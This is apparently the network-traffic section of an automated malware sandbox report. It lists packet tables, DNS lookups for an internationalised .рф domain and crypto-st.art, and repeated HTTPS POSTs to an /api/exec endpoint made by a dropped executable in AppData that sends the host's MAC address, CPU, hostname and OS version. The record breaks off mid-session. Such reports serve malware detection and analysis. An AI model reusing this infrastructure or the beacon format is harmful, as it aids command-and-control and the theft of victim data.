Nov 19, 2024 18:57:04.640136003 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:04.640156031 CET	443	50181	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:05.352483988 CET	443	50181	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:05.352643013 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.353913069 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.353924990 CET	443	50181	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:05.354154110 CET	443	50181	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:05.355797052 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.356637001 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.356637001 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.356667995 CET	443	50181	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:05.356756926 CET	443	50181	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:05.356781006 CET	443	50181	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:05.356827974 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.356853008 CET	50181	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.452207088 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.452270031 CET	443	50184	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:05.452455044 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.452939987 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:05.452955961 CET	443	50184	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:06.200073957 CET	443	50184	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:06.200181007 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.593000889 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.593034983 CET	443	50184	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:06.594007015 CET	443	50184	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:06.595134020 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.596398115 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.596471071 CET	443	50184	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:06.596664906 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.596811056 CET	443	50184	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:06.596877098 CET	50184	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.614372015 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.614460945 CET	443	50187	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:06.614798069 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.615560055 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:06.615576029 CET	443	50187	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:08.340353012 CET	443	50187	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:08.340462923 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.342298031 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.342315912 CET	443	50187	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:08.342674971 CET	443	50187	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:08.344506025 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.348150015 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.348193884 CET	443	50187	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:08.348345041 CET	443	50187	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:08.348380089 CET	443	50187	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:08.348429918 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.595267057 CET	50187	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.651210070 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.651302099 CET	443	50190	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:08.651386023 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.652343035 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:08.652379990 CET	443	50190	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:09.499391079 CET	443	50190	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:09.499486923 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:12.084408045 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:12.084454060 CET	443	50190	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:12.084954977 CET	443	50190	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:12.085752010 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:12.086649895 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:12.086668968 CET	443	50190	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:12.087124109 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:12.087182045 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:12.087276936 CET	443	50190	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:12.087321997 CET	443	50190	212.193.169.65	192.168.2.4
Nov 19, 2024 18:57:12.087369919 CET	50190	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:57:12.087389946 CET	50190	443	192.168.2.4	212.193.169.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 18:56:11.422700882 CET	56357	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:11.430294037 CET	53	56357	1.1.1.1	192.168.2.4
Nov 19, 2024 18:56:32.253089905 CET	63463	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:32.260734081 CET	53	63463	1.1.1.1	192.168.2.4
Nov 19, 2024 18:56:32.261862993 CET	56509	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:32.309228897 CET	53	56509	1.1.1.1	192.168.2.4
Nov 19, 2024 18:56:32.437783003 CET	60824	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:32.460732937 CET	53	60824	1.1.1.1	192.168.2.4
Nov 19, 2024 18:56:37.373982906 CET	50649	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:37.417490005 CET	53	50649	1.1.1.1	192.168.2.4
Nov 19, 2024 18:56:42.413002014 CET	61126	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:42.450165033 CET	53	61126	1.1.1.1	192.168.2.4
Nov 19, 2024 18:56:47.364444971 CET	62860	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:47.394306898 CET	53	62860	1.1.1.1	192.168.2.4
Nov 19, 2024 18:56:52.402069092 CET	59014	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:52.753168106 CET	53	59014	1.1.1.1	192.168.2.4
Nov 19, 2024 18:56:57.404206038 CET	52507	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:56:57.438035011 CET	53	52507	1.1.1.1	192.168.2.4
Nov 19, 2024 18:57:02.379303932 CET	53907	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:57:02.404982090 CET	53	53907	1.1.1.1	192.168.2.4
Nov 19, 2024 18:57:07.419150114 CET	55189	53	192.168.2.4	1.1.1.1
Nov 19, 2024 18:57:08.366883039 CET	53	55189	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 18:56:11.422700882 CET	192.168.2.4	1.1.1.1	0xe3ee	Standard query (0)	id.xn--80akicokc0aablc.xn--p1ai	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:32.253089905 CET	192.168.2.4	1.1.1.1	0xe82	Standard query (0)	id.xn--80akicokc0aablc.xn--p1ai	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:32.261862993 CET	192.168.2.4	1.1.1.1	0x93d	Standard query (0)	trs011.xn--80akicokc0aablc.xn--p1ai	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:32.437783003 CET	192.168.2.4	1.1.1.1	0x64f2	Standard query (0)	crypto-st.art	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:37.373982906 CET	192.168.2.4	1.1.1.1	0x951	Standard query (0)	crypto-st.art	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:42.413002014 CET	192.168.2.4	1.1.1.1	0x8a98	Standard query (0)	crypto-st.art	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:47.364444971 CET	192.168.2.4	1.1.1.1	0xe046	Standard query (0)	crypto-st.art	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:52.402069092 CET	192.168.2.4	1.1.1.1	0xf228	Standard query (0)	crypto-st.art	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:57.404206038 CET	192.168.2.4	1.1.1.1	0x1a8	Standard query (0)	crypto-st.art	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:57:02.379303932 CET	192.168.2.4	1.1.1.1	0xd8cf	Standard query (0)	crypto-st.art	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:57:07.419150114 CET	192.168.2.4	1.1.1.1	0xede9	Standard query (0)	crypto-st.art	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 18:56:11.430294037 CET	1.1.1.1	192.168.2.4	0xe3ee	No error (0)	id.xn--80akicokc0aablc.xn--p1ai		212.193.169.65	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:32.260734081 CET	1.1.1.1	192.168.2.4	0xe82	No error (0)	id.xn--80akicokc0aablc.xn--p1ai		212.193.169.65	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:32.309228897 CET	1.1.1.1	192.168.2.4	0x93d	No error (0)	trs011.xn--80akicokc0aablc.xn--p1ai		195.19.105.66	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:32.460732937 CET	1.1.1.1	192.168.2.4	0x64f2	Name error (3)	crypto-st.art	none	none	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:37.417490005 CET	1.1.1.1	192.168.2.4	0x951	Name error (3)	crypto-st.art	none	none	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:42.450165033 CET	1.1.1.1	192.168.2.4	0x8a98	Name error (3)	crypto-st.art	none	none	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:47.394306898 CET	1.1.1.1	192.168.2.4	0xe046	Name error (3)	crypto-st.art	none	none	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:52.753168106 CET	1.1.1.1	192.168.2.4	0xf228	Name error (3)	crypto-st.art	none	none	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:56:57.438035011 CET	1.1.1.1	192.168.2.4	0x1a8	Name error (3)	crypto-st.art	none	none	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:57:02.404982090 CET	1.1.1.1	192.168.2.4	0xd8cf	Name error (3)	crypto-st.art	none	none	A (IP address)	IN (0x0001)	false
Nov 19, 2024 18:57:08.366883039 CET	1.1.1.1	192.168.2.4	0xede9	Name error (3)	crypto-st.art	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

id.xn--80akicokc0aablc.xn--p1ai:443

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49836	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:13 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:13 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49844	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:14 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:14 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49852	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:14 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:14 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.
2024-11-19 17:56:14 UTC	403	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.19045) x64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49860	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:15 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:15 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49884	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:18 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:18 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49897	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:19 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:19 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.
2024-11-19 17:56:19 UTC	403	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.19045) x64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49905	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:20 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:20 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49913	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:21 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:21 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49940	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:24 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:24 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 